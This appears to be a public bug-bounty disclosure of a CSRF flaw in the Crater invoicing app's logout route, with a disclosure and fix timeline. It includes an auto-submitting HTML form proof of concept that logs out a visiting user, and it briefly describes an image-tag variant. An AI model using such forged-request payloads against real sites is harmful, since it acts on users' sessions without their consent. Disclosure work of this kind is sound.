Cross-Site Request Forgery (CSRF) in crater-invoice/crater

0

Valid Reported on Jan 26th 2022

Description

An attacker is able to log out a user if a logged-in user visits the attacker's website.

Proof of Concept

```
<html>
    <body>
    <script>history.pushState('', '', '/')</script>
        <form action="https://demo.craterapp.com/auth/logout">
            <input type="submit" value="Submit request" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```

Impact

This vulnerability is capable of forging users to unintentional logout.

More details

One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with `src="<your logout link>"` anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a `CSRF token` .

Note

While this cannot harm a user's account, it can be a great annoyance and is a valid CSRF.

Occurrences

JS auth.js L46-L69 | web.php L40-L48

CVE
CVE-2022-0515
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
Medium (4.3)

Visibility
Public

Status
Fixed

Found by

KhanhCM
@khanhchauminh
pro

Fixed by

Mohit Panjwani
@mohitpanjwani
maintainer

This report was seen 389 times.

We are processing your report and will contact the **crater-invoice/crater** team within 24 hours.
10 months ago

We have contacted a member of the **crater-invoice/crater** team and are wai
10 months ago

We have sent a follow up to the **crater-invoice/crater** team. We will try again in 7 days

We have sent a follow up to the crater-invoice/crater team. We will try again in 7 days.
10 months ago

We have sent a second follow up to the crater-invoice/crater team. We will try again in 10 days.
10 months ago

Mohit Panjwani validated this vulnerability 10 months ago

KhanhCM has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

We have sent a fix follow up to the crater-invoice/crater team. We will try again in 7 days.
10 months ago

We have sent a second fix follow up to the crater-invoice/crater team. We will try again in 10 days. 9 months ago

We have sent a third and final fix follow up to the crater-invoice/crater team. This report is now considered stale. 9 months ago

Mohit Panjwani marked this as fixed in 6.0.4 with commit 2b7028 8 months ago

Mohit Panjwani has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

auth.js#L46-L69 has been validated ✔

web.php#L40-L48 has been validated ✔

Sign in to join this conversation